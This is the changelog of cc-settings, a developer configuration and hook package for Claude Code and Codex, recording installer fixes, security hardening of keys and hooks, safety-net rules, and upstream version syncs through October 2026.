darkroomengineering/darkroom
Darkroom Engineering coding standards and reusable engineering workflows for Codex.
Changelog
All notable changes to cc-settings are documented here.
Versioning — cc-settings uses a single version number matching the installer (
src/setup.tsVERSIONconstant, written to~/.claude/.cc-settings-versionsentinel). Historical entries below 10.0 predate this unification; the jump from v8.x to v10.x in April 2026 realigned the product version with the installer version that was already ahead.
[15.49.0] — 2026-10-05
security-reviewer now catches authorization checks that run but do not protect anything. A check with a missing await, a boolean result nobody reads, or a check on one id followed by an action on another passed review before, because the check was visibly there.
Adopted:
agents/security-reviewer.mdauth-bypass checklist gains "Disconnected checks". For TypeScript apps with many authorized call sites it recommendsgdp-ts, which makes a sensitive function demand a typed proof about the exact id it acts on. The gdp-ts library and skill stay per project: the skill only applies to codebases that already use it.
Files changed:
agents/security-reviewer.mdCHANGELOG.md,package.json,plugin.json,.claude-plugin/plugin.json,src/setup.ts(version)
[15.48.2] — 2026-10-05
The Linear setup docs now cover devs who already connected Linear through the claude.ai web or desktop app. That connector also shows up in Claude Code with a single login, so it brings back workspace switching unless it is disabled there.
Docs:
docs/settings-reference.md"Linear: one server per workspace": disableclaude.ai Linearin/mcp(it keeps working in claude.ai chats), change its workspace only from claude.ai, and prefer/mcpoverENABLE_CLAUDEAI_MCP_SERVERS=false, which hides every connector.
Files changed:
docs/settings-reference.mdCHANGELOG.md,package.json,plugin.json,.claude-plugin/plugin.json,src/setup.ts(version)
[15.48.1] — 2026-10-05
/share-learning works again. The team-knowledge repo now accepts changes only through a pull request, so the skill's direct write to main failed every time with "Changes must be made through a pull request". It now writes the note to a knowledge/<name> branch and opens a PR, and the note reaches other agents once that PR merges.
Fixed:
skills/share-learning/SKILL.mdcreates a branch, writes or updates the note on it, opens the PR, and reports the PR URL. It also points at the repo'slintcheck, which enforces the 160-charactersummarylimit.docs/knowledge-system.mdand.claude/AGENTS.mddescribe the PR-based write path.
Files changed:
skills/share-learning/SKILL.mddocs/knowledge-system.md.claude/AGENTS.mdCHANGELOG.md,package.json,plugin.json,.claude-plugin/plugin.json,src/setup.ts(version)
[15.48.0] — 2026-10-05
Synced with Claude Code 2.1.289. Codex stays at 0.160.0. Teams behind a gateway that rejects structured outputs now have a documented switch, and the background command time limit is described correctly for interactive sessions.
Adopted:
CLAUDE_CODE_DISABLE_STRUCTURED_OUTPUTS(Claude Code 2.1.288) tracked in the manifest anddocs/settings-reference.md. On Mantle or a gateway that refuses structured outputs, session titles, memory recall and prompt hooks fail without it. cc-settings does not set it.
Docs:
docs/settings-reference.md: the background command time limit applies only in unattended sessions (-p, Agent SDK, CI, cloud) since 2.1.288. Terminal, desktop app and VS Code sessions have no limit.docs/hooks-reference.md:InstructionsLoadedfrom a subagent's file access carriesagent_id,agent_typeandeffort(2.1.288).
Skipped: mods and plugin API additions (tracked in docs/plans/mods-migration.md), LSP requestTimeout, the claude purge rename, --max-findings, per-model /autocompact, and fix-only bullets. No dedupe: the new native rm and deny-rule fixes overlap safety-net.ts, which blocks where they prompt.
Files changed:
upstream/claude-code-manifest.jsondocs/settings-reference.mddocs/hooks-reference.mdsrc/setup.ts,package.json,plugin.json,.claude-plugin/plugin.jsonCHANGELOG.md
[15.47.1] — 2026-10-05
Devs in more than one Linear workspace no longer have to reconnect Claude Code every time they switch projects. docs/settings-reference.md now documents the team convention: each dev adds one Linear MCP server per workspace, named linear-<workspace>, at user scope. Claude Code keys MCP tokens by server name, so a single shared linear entry overwrote its login on every workspace switch. cc-settings still ships no Linear server.
Files changed: docs/settings-reference.md, version sites.
[15.47.0] — 2026-10-04
The safety net stops an agent from killing your browser while it stops a dev server. Stopping a test server with lsof -ti :3100 | xargs kill took down every Chromium window: without -sTCP:LISTEN, lsof also lists the browser that has the page open.
Added:
- Safety-net rule that blocks kills chosen by search:
pkill,killall,fuser -k,kill -1, andkillfed bypgrep,ps,pidof, orlsofwithout-sTCP:LISTEN, in a pipe (| xargs kill) or a substitution (kill $(…)). It also catches them insidebash -c. kill <pid>,kill $VAR,kill $(cat pidfile)andlsof -ti tcp:<port> -sTCP:LISTEN | xargs killstay allowed. The block message points to those.- Known gap: a search and a kill in separate commands (
for p in $(lsof …); do kill $p; done) is not linked up.
Files changed:
- src/hooks/safety-net.ts, tests/safety-net.test.ts
- docs/security-reference.md
- src/setup.ts, package.json, plugin.json, .claude-plugin/plugin.json
- CHANGELOG.md
[15.46.0] — 2026-10-02
Synced with Claude Code 2.1.287 and Codex 0.160.0. An MCP server that stops connecting after the Claude Code update can now be fixed in cc-settings config without the parser dropping the fix.
Adopted:
bareElicitationCapability(Claude Code 2.1.287) insrc/schemas/mcp.ts. 2.1.287 added URL prompts, such as sign-in, for MCP servers on the 2025-11-25 protocol. A server that no longer connects needs this flag, and the schema now keeps it.CLAUDE_AX_PREPARK_MS(2.1.287) tracked in the manifest anddocs/settings-reference.md.
Docs:
docs/settings-reference.md:alwaysLoad: falsenow defers every tool of a server, the OTeluser_promptevent carriesprompt_textthat must be masked likeprompt, and Opus 4.7+ and Fable default to a 1M window on Bedrock, Vertex, Foundry and the Claude apps gateway.
Skipped: Claude Mods (tracked in docs/plans/mods-migration.md) and the You should know built-in mod. Codex 0.160.0 touches no surface the installer writes.
Files changed:
- src/schemas/mcp.ts, schemas/settings.schema.json, schemas/claude-json.schema.json
- docs/settings-reference.md
- upstream/claude-code-manifest.json
- upstream/codex-manifest.json
- src/setup.ts, package.json, plugin.json, .claude-plugin/plugin.json
- CHANGELOG.md
[15.45.5] — 2026-10-02
The nightly auto-update finishes its install. On macOS it used to stop partway through every update, and the next setup.sh then failed with "Claude managed destination collision".
Fixed:
registerAutoUpdateinsrc/lib/schedule.tswrites the plist and skips thelaunchctl bootoutandbootstrapwhen setup runs inside the auto-update launchd job (XPC_SERVICE_NAMEequals the job label). A bootout from inside the job kills the caller and its children, so the install died after copying files and before writing the sentinel. launchd picks up a changed plist at the next login or the nextsetup.shrun from a terminal.restoreAutoUpdateStateskips the same reload inside the job, so recovery from a failed nightly install is not killed either.
Changed:
docs/troubleshooting.mdnames this as the usual cause of the collision error.
[15.45.4] — 2026-10-02
You can now measure what the hooks cost. bun run hooks:report shows how often each hook fires per session, and bun run hooks:bench times each synchronous hook on a sample payload without touching your real ~/.claude. Nothing about how hooks run changes.
Added:
src/scripts/hook-report.tsandsrc/lib/hook-frequency.tscount tool calls, prompts, turns and compactions in local transcripts, map them onto the matchers inconfig/40-hooks.json, and list the Stop hook durations Claude Code records.--bench <file>multiplies firings by measured latency.src/scripts/hook-bench.tsreplays each synchronous hook under a throwawayHOMEand reports p50 and p95 per hook and per event.- Managed-files manifest version 17 and Codex runtime manifest version 15 install the three files. Run from an install, which has no
config/, both scripts read the hooks in~/.claude/settings.json. - With
--bench, each tool's calls are priced with that tool's own latency row; a tool with no row is listed as unbenchmarked instead of borrowing another tool's timing.
[15.45.3] — 2026-10-01
A plugin dropped into ~/.claude/settings.json now trips the same session-start warning a rogue hook does, and the warning names the entries.
Fixed:
- The settings fingerprint covers
enabledPlugins,extraKnownMarketplacesandpluginConfigsas well ashooks. The session-start warning says which part changed and lists up to ten plugin entries added, removed or changed since the last setup run. A record from before 15.45.3 is checked for hooks only, with a one-line nudge, until setup rewrites it. On a 15.45.3 or later install, a record without the plugin hash is a mismatch. - The
cc-settingsandfast-jev-compactionmarketplace entries belong to cc-settings: a setup run replaces a changed repo orshaunder those names. Marketplaces and plugins you add stay. A setup run, including the unattended nightly auto-update, accepts the plugin keys on disk, whether or not a session has shown the warning. - The fingerprint does not cover the plugin cache, the plugin store records, or the plugin code itself, which Claude Code fetches from the marketplace's latest commit.
- Setup re-fingerprints after its own
claude plugin installstep, which rewrites the plugin keys.
[15.45.2] — 2026-10-01
Reinstalling after CODEX_HOME moves no longer leaves duplicate cc-settings hooks in hooks.json, and setup stops warning about the [hooks] table that Codex keeps for its own trust records.
Fixed:
src/lib/codex-plugin.tstreats a hook group as cc-settings' own when its runner ends indarkroom/source/src/scripts/codex-hook.ts, whatever absolute path comes before it. Groups written under an old home are replaced on install and removed on uninstall.- The
[hooks]warning inconfig.tomlfires only for hook definitions, not for[hooks.state]trust records. - The "changed since cc-settings read it" error no longer claims a guarantee the check cannot give; the remaining unlocked window is marked as a known shortcut.
- A restore over an unmergeable
hooks.jsonhas a test showing it throws before any write.
Changed:
- The sentinel no longer records
managed_hook_entries_hash, which nothing read. Existing sentinels that carry it still load, and the next install drops it. docs/codex.mdsays hooks.json is rewritten as 2-space JSON and that rollback restores only cc-settings' groups.
[15.45.1] — 2026-10-01
Setup no longer fails when another tool, such as Programa, already has hooks in ~/.codex/hooks.json. cc-settings adds its hooks after the existing ones and removes only its own.
Fixed:
src/lib/codex-plugin.tsmerges the Codex hooks into$CODEX_HOME/hooks.jsonby group instead of owning the whole file. Install, uninstall, rollback and failed-install recovery touch only groups whose handlers run the managedcodex-hook.ts. A file it cannot merge into (symlink, invalid JSON, unexpected shape, a group mixing cc-settings and other handlers) still stops the install before any write.- A handler counts as ours only when every command field it has starts with
bun --no-env-file "<managed runner>", so wrappers and lookalike paths survive. Light-profile install, uninstall and rollback no longer readhooks.json, and rollback checks it before any write. The temp file for a rewrite gets a unique name and is opened withwx. - The sentinel field is now
managed_hook_entries_hash. Amanaged_hooks_hashfrom 15.44.0 is ignored, and the first install after the update cleans up that older whole-file copy by group.
[15.45.0] — 2026-10-01
Claude now asks clarifying questions through the question tool until every decision that changes the work is settled, and a turn can no longer end with the question stuck in prose. Before, progress could freeze on a decision nobody was asked about.
Changed:
AGENTS.md"Clarify Before Full Work Mode": any non-trivial solution opens with repeated rounds of up to 4 questions until no fork is left, and a mid-task decision is asked through the tool that turn. The "task size alone is not a reason to ask" line is gone.output-styles/darkroom.md,skills/build,skills/fix,skills/refactor,docs/system-overview.md: say rounds, not one round.- Managed-file manifest version 16 ships the new hook.
Added:
src/hooks/ask-gate.ts, wired as aStophook: blocks a turn that ends in a prose question with noAskUserQuestioncall and tells Claude to ask through the tool. Fails open on any error.rules/style.md"Modern CSS": nativepopover,:has(), bounded@scope,text-box: trim-both cap alphabetic, andsibling-index()/sibling-count()with a static fallback. From the zeroheight post "New HTML and CSS features you should be using in your design system".
[15.44.0] — 2026-10-01
Codex now loads the darkroom plugin from the repo's root plugin.json and mcp.json, the same way it loads any other plugin. Codex ignores hooks in plugins of that format, so /cc update now writes the seven Codex hooks to $CODEX_HOME/hooks.json as your own hooks. After the update, open /hooks in Codex and trust them once more: they run from the new source path under $CODEX_HOME/darkroom/source.
Changed:
plugin.jsonandmcp.jsonat the repo root replace.codex-plugin/plugin.json. The Claude plugin keeps.claude-plugin/and.mcp.json; a test keeps both MCP files on the same servers and URLs.src/lib/codex-plugin.tsgenerates$CODEX_HOME/hooks.jsonfromhooks/hooks.jsonwith absolute paths to the managed source. The sentinel recordsmanaged_hooks_hash, and uninstall, rollback and a failed install remove or restore the file by that hash.- A full Codex install stops before writing anything when
$CODEX_HOME/hooks.jsonexists and is not the one cc-settings wrote. Move those hooks into the[hooks]table ofconfig.tomlor delete the file, then rerun. It also warns whenconfig.tomlhas a[hooks]table, because Codex warns about hooks defined in both places. src/scripts/codex-hook.tsalways runs hooks from its own checkout and refuses aPLUGIN_ROOTthat points anywhere else. It keeps its data in$CODEX_HOME/plugins/data/darkroom-cc-settings, the directory the plugin hooks already used for handoffs and logs.- A cloned repo can no longer redirect the Codex hooks to its own code. Bun loads a
.envfrom the folder it runs in, and Codex runs hooks in your project, so a.envwithPLUGIN_ROOT=.could have run that repo's scripts outside the sandbox. The generated commands and the hook runner now pass--no-env-file. - The installer writes
hooks.jsononly if nothing appeared there since its ownership check, failure recovery never overwrites a file or symlink at that path, and hook generation refuses an unquoted$PLUGIN_ROOTor a source path with quote characters. - The Codex runtime manifest moves to version 14, so earlier versions still describe what they installed.
[15.43.1] — 2026-10-01
PRs finish CI in about 7 minutes instead of 23. Jobs that repeated other jobs or gave the same answer on every OS are gone, and the slow full Windows suite runs after the merge instead of on every PR.
Changed:
.github/workflows/ci.yml:typecheckruns on Ubuntu only, sincetscoutput does not depend on the OS..github/workflows/ci.yml:testruns on Ubuntu and macOS for PRs and adds Windows only on pushes to main..github/workflows/ci.yml:install-e2eruns on Windows for PRs only. On Ubuntu and macOS it repeated filestestalready runs, and on main the full Windows suite covers it..claude/AGENTS.md: the landing note says which Windows checks run on a PR.
[15.43.0] — 2026-10-01
The adversarial verification skill is now /poke-holes instead of /verify. Claude Code 2.1.286 tells Claude to run any skill named verify right before each code commit, and ours starts a panel of three or four agents, so every commit would have paid for one. Say "poke holes in this", "double check this", or "are you sure?" to reach it as before. Also syncs with Claude Code 2.1.286 and Codex 0.159.3.
Adopted:
- Claude Code 2.1.286 pre-commit
verifyguidance:skills/verify/is renamedskills/poke-holes/, and its eval is renamedevals/poke-holes-adversarial-panel/.verifyjoinsTOMBSTONE_SKILLSinsrc/lib/managed-skills.ts, so setup removes the old folder from~/.claude/skills/. The Claude managed-file manifest moves to version 15 and the Codex runtime manifest to version 13, so earlier versions still describe what they installed. The skill no longer lists "verify" as a trigger word. - References in
README.md,MANUAL.md,docs/skills.md,docs/frontmatter-reference.md,docs/claude-vs-codex.md,docs/skill-authoring.md, and theadhd,audit,harvest,qa, andreviewskills now namepoke-holes.
Docs-only:
docs/settings-reference.md: theCLAUDE_CODE_MAX_RETRIESrow notes that from 2.1.286 one retry limit covers a whole model call, at most 14 requests with the defaults.
Skipped: --bare scoping, the worktree-subagent double CLAUDE.md load fix, task tools in foreground subagents, permission-prompt and list UI changes, secret-redaction, MCP, auth, Remote Control, cloud, VS Code and Claude Tag fixes, and npm plugin source refusal. Codex 0.159.3 adds account security reminders only.
[15.42.6] — 2026-10-01
The Swift animation rule covers three cases it left open, taken from Paul Hudson's MIT-licensed SwiftUI agent skill (twostraws/swiftui-agent-skill). The rest of that skill is a full SwiftUI review checklist; install it as its own plugin rather than copying it here.
Changed:
rules/swift-animation.md: on iOS 26 and macOS 26 or later, use the@Animatablemacro (with@AnimatableIgnoredfor values that cannot interpolate) instead of a hand-writtenanimatableData.rules/swift-animation.md: chain one animation after another through thecompletion:closure ofwithAnimation, not a delayed second call.rules/swift-animation.md: flag the deprecated.animation(_:)that has neither avalue:nor a body closure.
[15.42.5] — 2026-10-01
The daily auto-update kept skipping on developer machines. Any untracked file, uncommitted edit, feature branch, or local commit in the cc-settings checkout stopped the run, so a maintainer with one stray folder sat three releases behind without a notification. The job already installs from a fresh isolated clone of official main, so the checkout's state never reached the install; it only blocked it.
Fixed:
src/scripts/auto-update.tsdrops the dirty-tree, staged-index, and history-ancestry gates on the enrolled checkout, along with theskipped-dirtyandblocked-historystatuses. The decision to run setup is now only whether officialmaincarries a newer version than the installed one (computeDrift), so an install from a local branch at or above main's version is never downgraded.- The origin allowlist, the
CC_EXPECTED_REPOpath pin, the.git/configsafety check, and the isolated, config-free clone are unchanged.SECURITY.mdanddocs/install.mddescribe the result. tests/auto-update-script.test.tsproves a modified, staged, untracked, or feature-branch checkout still installs and is left byte-for-byte untouched. The two tests that asserted the removed gates are deleted as an intentional contract change.
Reaches an existing install on the next bash setup.sh.
||||||| parent of 4f4fc9f (docs(v15.42.6): fold three SwiftUI animation rules from twostraws/swiftui-agent-skill)
[15.42.4] — 2026-09-30
The knowledge-hint hook no longer shows notes from one project while you work in another. Team-knowledge notes can now carry a scope (the repo names they apply to) and a verified date. The /share-learning skill now writes tags that match what an agent actually types and opens each note with its rule.
Changed:
src/lib/knowledge-index.ts:parseIndexMarkdownreads an optional· scope: a, bsuffix, placed before the tags.scopeis optional in the cache schema, so existing caches still validate.src/lib/knowledge-hint.ts:rankNotesdrops a scoped note unless the current repo is in its scope. It resolves the repo only when a scoped note would otherwise be shown.repoNamesFromderives the names from the origin remote and the checkout folder.src/hooks/knowledge-hint.ts: finds the repo from the payload'scwdwith a 2 s bounded git call. Outside a git repo, scoped notes stay hidden.src/schemas/knowledge.ts,src/lib/lint-knowledge.ts:scopemust list repo names.verifiedmust be a realYYYY-MM-DDdate and not in the future, and it warns after 180 days.schemas/knowledge.schema.jsonis regenerated.skills/share-learning/SKILL.md: guidance for identifier tags,scope, andverified. The body opens with the rule.docs/knowledge-system.md: documents the new fields and the index line format.- Tests for the scope parser, the ranker,
repoNamesFrom, a hook run inside and outside a repo, and the new lint rules.
[15.42.3] — 2026-09-30
The status report no longer flags ENABLE_PROMPT_CACHING_1H as unset. v15.2.0 retired that variable in favor of the promptCacheTtl settings keys and v15.3.0 removes it from existing installs, so every status run since then showed one false "unset" warning.
Changed:
src/lib/status.ts:EXPECTED_ENV_VARSdropsENABLE_PROMPT_CACHING_1H.docs/troubleshooting.md: what "Claude managed destination collision: src/node_modules" means (an install killed after copying files and before writing the sentinel) and how to recover.docs/cache-strategy.md: the TTL section names thepromptCacheTtlandsubagentPromptCacheTtlsettings keys cc-settings sets, not the retired env var.
[15.42.2] — 2026-09-30
The review-queue hook now has a test for the case where HEAD moves without a Claude commit, such as a pulled-down merge. Before, only the pure function was tested, so a broken hook wiring would have passed CI. Follows up the tests audit from 2026-09-28, which is now committed with the other audits.
Changed:
tests/review-queue.test.ts: runs the hook against a temp git repo, commits between twogit pullcalls, and checks the queue drains to 0.docs/audits/tests-audit-2026-09-28.md: added.
[15.42.1] — 2026-09-30
Notes posted with /share-learning now include the one-line summary that team-knowledge requires. Without it, every new note failed the team-knowledge lint and showed up in INDEX.md as a cut-off first body line, which is all the knowledge-hint hook shows an agent before it decides to open the note. Closes #170.
Changed:
skills/share-learning/SKILL.md: the note template and frontmatter list includesummary(one line, at most 160 characters, no·,"or\, states the rule rather than the story). The body opens with the rule. The template assigns the note with a quoted heredoc, so quotes, backticks, and$in the note stay literal.src/schemas/knowledge.ts:summaryis required, with the same limits team-knowledge's lint enforces;schemas/knowledge.schema.jsonis regenerated.src/scripts/new-note.ts: scaffolds an emptysummary, which fails lint until it is filled in.docs/knowledge-system.md: the frontmatter contract documentssummary.tests/lint-knowledge.test.ts: cases for a missing, empty, too-long, and·-containing summary; the existing fixtures carry a summary so each case checks only its own rule.
[15.42.0] — 2026-09-30
Adds the scroll, WebGL, and React Compiler rules from the harbor website findings (#168). Agents on harbor kept shipping these mistakes and a person had to catch them in review. Each rule is one line; the linked team-knowledge note holds the evidence.
Added:
rules/react-perf.md"Frame loops": writetransform/opacityon the moving node instead of a custom property that feeds layout; gate infinite animations and per-frame writes on visibility; a "can't be avoided" comment on a layout read is a claim to test, not a waiver; notoDataURL()images in styles.profiles/webgl.md: Lenis runs at Tempus order -1 and scroll readers run after it; WebGL objects follow a DOM box; no hamo measurement hooks insideWebGLTunnelchildren; values that must cancel share scroll, rounding, and event. The Tempus and vanilla Lenis examples now use the currentorderAPI (lower runs first). The old example said higher runs first.rules/react.md: a ref in auseEffectdependency array means the effect should not exist; destructure refs carried in an object to*Refnames; breakpoint visibility throughdesktop-only/mobile-only, notuseMediaQuery.rules/style.md: Satus routes compose inpage.tsxas server components; strip<filter>from Figma SVG exports.agents/reviewer.md: three questions on scroll-driven writes, DOM boxes for WebGL, and Tempus order.
[15.41.1] — 2026-09-30
.claude/AGENTS.md now names ci-gate as the only check a cc-settings PR needs before merging. The org ruleset "Default branch gate" requires it on every repo's default branch; darky/review is not required by any ruleset and can stay pending without blocking the merge.
Changed:
.claude/AGENTS.md: the Landing line.skills/cc/SKILL.md: the sync-mode landing note.upstream/codex-manifest.json: synced to Codex 0.159.2. Nothing to adopt; 0.159.1 makes GPT-6.1 Sol the catalog default, which the bridge already pins, and 0.159.2 is a Windows-only fix.
[15.41.0] — 2026-09-29
Your own global instructions now have a home that survives updates: ~/.claude/personal.md. The installed ~/.claude/CLAUDE.md imports it last, so it loads in every Claude Code session and subagent. Setup creates it once and never replaces, backs up, rolls back, or removes it. Edits to ~/.claude/CLAUDE.md itself are still saved to backups/ and replaced on the next install; the warning and the auto-update log now point at personal.md. Codex does not read the file.
Added:
CLAUDE-FULL.md: a closing "Personal instructions" section with@personal.md.src/lib/claude-install-ownership.ts:ensurePersonalInstructionsFilewrites a short stub with an exclusive create, only on a full install, and the file is never recorded inmanaged_files.tests/install-e2e.test.ts: fresh install creates the stub; an edit survives reinstall with no backup; rollback and uninstall leave it.
Docs:
docs/install.md: a row forpersonal.md; theCLAUDE.mdrow describes the backup instead of the collision stop it had before 15.39.3; adding a TypeSafe key later usesclaude plugin configure --values-stdin.README.md: "What it leaves alone" namespersonal.md.
Files changed:
- CLAUDE-FULL.md
- README.md
- docs/install.md
- src/lib/claude-install-ownership.ts
- src/scripts/auto-update.ts
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
- tests/install-e2e.test.ts
[15.40.1] — 2026-09-29
The Windows test job passes again, and the docs say that main takes changes only through a PR.
Fixed:
tests/claude-bridge.test.ts: the fakeclaudegets a.cmdentry point throughprependTestPath, so Windows finds it on PATH, and its log paths go throughgitBashPath.tests/delegation-detector.test.ts: setsUSERPROFILEnext toHOME, becausehomedir()readsUSERPROFILEon Windows and the settings-env test never saw its fixture.tests/plugin-key-stdin.test.ts: runs on Windows too, with the same helpers, instead of skipping there.
Docs:
.claude/AGENTS.md: main is protected; changes land through a PR that passesci-gateanddarky/review, merged by hand.skills/cc/SKILL.md: the sync mode no longer claims it never opens a PR.
Files changed:
- .claude/AGENTS.md
- skills/cc/SKILL.md
- tests/claude-bridge.test.ts
- tests/delegation-detector.test.ts
- tests/plugin-key-stdin.test.ts
- src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
[15.40.0] — 2026-09-29
Sync with Claude Code 2.1.285 and Codex 0.159.0. The TypeSafe key no longer appears in process arguments during setup.
Adopted:
- The key reaches the fast-jev plugin on stdin (Claude Code 2.1.285,
src/lib/claude-install-settings.ts). Setup stores it withclaude plugin configure fast-jev-compaction@fast-jev-compaction --values-stdininstead ofclaude plugin install … --config apiKey=<key>. Other accounts on a machine can read process arguments throughps, so the old form briefly exposed the key. On a Claude Code older than 2.1.285 the configure call fails and setup falls back to the argument form with a warning. allowedProvidersmanaged setting (2.1.285,src/schemas/settings.ts). Limits which API providers a machine may use. Added to the strict schema so a managed-settings file that sets it still parses.CLAUDE_CODE_DISABLE_WEB_FETCHandCLAUDE_CODE_NONSTREAMING_TIMEOUT_RETRIES(2.1.285). Tracked and documented; cc-settings sets neither.- Status line spend fields (2.1.284,
src/hooks/statusline.ts).rate_limits.spend_limitgainsused_usd,limit_usd, andperiodin the payload type. No segment displays them yet.
Docs:
- Ultracode is its own
/efforttoggle that stays on at any effort level and does not forcexhigh(2.1.284).CLAUDE-FULL.mdanddocs/settings-reference.mdsay so. - Sessions with no configured permission mode start in auto mode (2.1.284, 2.1.285). cc-settings sets no
defaultMode, so installs get auto mode. - Background Bash commands stop at their timeout, 30 minutes by default and 2 hours at most (2.1.285).
/cc syncopens a PR instead of pushing to main, which now requires theci-gateworkflow and thedarky/reviewcheck.
Codex: nothing to adopt beyond GPT-6.1 Sol, already pinned in 15.39.5. tui.prompt_suggestions and the bundled plugin-creator skill were removed upstream; cc-settings used neither.
Files changed:
src/lib/claude-install-settings.tstests/plugin-key-stdin.test.tssrc/schemas/settings.tssrc/hooks/statusline.tsupstream/claude-code-manifest.jsonupstream/codex-manifest.jsondocs/settings-reference.mdCLAUDE-FULL.mdskills/cc/SKILL.md
[15.39.5] — 2026-09-29
Codex execution work now runs on GPT-6.1 Sol, which Codex CLI 0.159.0 lists as its latest workhorse model and calls GPT-6 Sol "previous generation".
- The bridge's
execdefault isgpt-6.1-sol.reviewandaskstay ongpt-6-astra.--modelandCODEX_EXEC_MODELstill override it. - Native Codex agents mapped from the Sonnet tier (implementer, explore, reviewer, and the other execution roles) are written with
gpt-6.1-sol. Haiku-tier agents stay ongpt-6-luna. - Existing installs pick up the new agent model on the next
setup.shrun or auto-update.
[15.39.4] — 2026-09-29
Contributors without a working Codex CLI can commit again. The "Codex command policy" and "Codex CLI package acceptance" tests in tests/plugin-manifest.test.ts ran whenever something named codex was on PATH, including proxy shims such as cmux's, which answer with exit 127. Those tests sit in the pre-commit invariants hook, so the failure blocked every commit.
- Both blocks now skip unless
codex --versionruns and prints a real Codex banner (codexCliAvailable).
[15.39.3] — 2026-09-29
setup.sh no longer stops when ~/.claude/CLAUDE.md or ~/.claude/AGENTS.md differs from what cc-settings installed. It saves the current file to ~/.claude/backups/<name>.user-edit-<timestamp>, prints that path, and installs the new version. Before, a hand edit, a deleted file, or an install from a clone with uncommitted changes to CLAUDE-FULL.md failed with "destination collision" or "missing or modified", and the only way out was restoring bytes by hand.
- Only these two instruction files get this treatment. Hooks, scripts, agents, and generated ownership files still fail closed when modified.
--migrate-only, uninstall, and rollback keep the strict check.- The daily auto-update checks for new backups after setup and names the replaced file in its desktop notification, since setup's own warning only reaches the log.
- A first install over a personal
~/.claude/CLAUDE.mdorAGENTS.mdnow backs it up and installs, where it used to stop with "destination collision".
[15.39.2] — 2026-09-29
~/.claude/settings.json is readable only by its owner once it holds a TypeSafe key, as docs/install.md already promised. Since 15.21.3 the installer wrote the key into a file every account on the Mac could read (mode 644), because each settings write went through a fresh temp file created with default permissions and renamed over the target.
atomicWriteStringkeeps the target's existing permission bits on a rewrite, and takes an explicitmodefor callers that need one. A new file still gets the default.- Writing the key sets the file to 600. A reinstall on a machine whose key is already in the settings
envblock tightens the file too, so existing installs are fixed by the nextsetup.shrun or auto-update. - Setup tightens
settings.jsonto 600 after theclaude pluginstep, whenever the file holds the key and whatever source the key came from, so a key exported in the shell or injected by a Claude Code session is covered too. - The other copies of the key are owner-only as well:
.cc-settings-baseline.json(which stores the merged settings), thebackup-*.tar.gzarchives, and thebackups/directory. Setup also tightens abackups/directory and archives left at 755 and 644 by earlier installs. - Exposure was limited to Macs with more than one account: a single-user machine has no other account to read the file. Keys do not need rotating unless the machine is shared.
[15.39.1] — 2026-09-29
The Tech Stack in AGENTS.md now says what it always meant: its entries are defaults, not mandates. A project's config and lockfile win, and new work that departs from a default says why in the PR. Taken from Martin Fowler's Sensible Default: "do these practices, or do better, and be prepared to explain why."
- The Bun-only rule names its real exceptions.
npx react-doctorandnpx deslopjoinnpx expo, since/proof-of-workand the permission allowlist already run them throughnpxto resolve the lockfile-pinned binary. /shipper-commit validation runsbunx tsc --noEmit && bunx biome check .instead ofnpx tsc./auditcalls the deslop probe asnpx deslop, matching/proof-of-workand the allowlist, instead ofnpx deslop-cli.- To stay inside the
AGENTS.mdbyte ceiling, theSHORTCUT:paragraph drops its two tooling pointers (bun run lint:shortcutsand/audit debt). CI still enforces the linter, and the/auditdescription still lists the debt ledger.
[15.39.0] — 2026-09-29
/audit can now run every vertical at once. Say "full audit", "audit everything", or name two or more areas ("performance, code quality, and security") and it runs every applicable mode in parallel and ships one merged, ranked report. Before this, the router picked one mode per run, and security was easy to miss because Codebase mode does not hunt for it.
- Full mode. The coordinator maps the repo once, then selects modes from evidence. Codebase, Threat-Model, and Debt always run. Performance runs when something can be measured, Tests when a suite exists, Docs when docs exist beyond a README, SEO for public websites, and Motion when an animation library is installed. Process runs only on request. It asks one question round up front (the mode list plus the threat-model and performance questions) so no reader stops mid-run.
- One reader per mode, launched together. Threat-Model runs on
security-reviewer. Readers return findings and write nothing; the coordinator deduplicates across modes, ranks on one scale, and runs the cross-model and team-knowledge passes once. - One report.
docs/audits/full-audit-YYYY-MM-DD.mdopens with a coverage table (ran, skipped with the reason, or available), then the merged summary, the first 10 to act on with their executor, and one section per mode. - The
/auditdescription gains the "full audit" trigger and stays inside the description byte budget. MANUAL now lists Full and Tests among the audit modes. - New eval case:
evals/audit-full-coverage.
[15.38.1] — 2026-09-29
The README now teaches day-to-day use, not only installation. New team members get a short path: install, run one read-only task, then learn the daily loop.
- The daily loop. One table covering understand, plan, fix, build, check, prove, ship, and pause, with what to say, the skill to pin, and what comes back.
- Set up the projects you work in.
/dr-initfor new projects, a projectAGENTS.mdfor project instructions,/cc migratefor repositories that still have aCLAUDE.md, and/projectfor issue-driven work. - Habits that change results. Seven habits: outcome-first prompts, one task per session, handoff and checkpoint, effort, second opinions, the statusline, and inspecting before guessing.
- Make it better for everyone.
/share-learning,/harvest,/retro, and the short contributor checklist. - Keep it current. Update, auto-update, status, and rollback in one place.
[15.38.0] — 2026-09-29
/autoresearch now tells you whether a prompt change generalizes, instead of only whether it scores better on the inputs it was tuned against. Adapted from Anthropic's eval hill-climbing guidance:
- Held-out inputs.
RESEARCH.mdgains a## Held-out Inputssection. The loop scores it every round but never reads its outputs. A round is kept only when the held-out score also rises; a change that improves only the training inputs reverts with statusoverfit./autoresearchderives 2 held-out inputs at setup when a seed has none, which is always the case for a/harvestseed. - Measured noise floor. The baseline now runs twice on the unchanged skill. If the two runs differ by
min_improvementor more, the loop doublessamplesonce, then raisesmin_improvementto the measured noise, so a round cannot be kept on judge randomness. A baseline at 0.95 or higher stops setup and asks for harder inputs, because the eval has no room to show an improvement. - Judge check and baseline review. The baseline re-scores each training output and lists checklist items whose verdict flips on identical output, plus inputs that score 0 on every sample. Before round 1 the user sees one scored output with these lists and confirms the judge matches their own reading.
- Stall review. After
stall_rounds(default 3) rounds without a kept change, the loop sorts the remaining failures into ambiguous inputs, checklist bugs, harness errors and real skill failures. It fixes the first three inRESEARCH.md, re-measures the baseline, and aims later mutations only at real failures.
The final report leads with the held-out score against the baseline, and calls a gain no larger than the noise floor "no measurable change". lint:research warns on a missing held-out section, errors on an empty one, and checks stall_rounds is numeric. New eval case: evals/autoresearch-adds-held-out.
evals/harvest-workflow now passes a run where /harvest finds no evidence of the described session, writes nothing, and labels its draft as unverified. That is correct behavior in the eval's empty sandbox, and the grader had been failing it on every pre-push run.
[15.37.4] — 2026-09-29
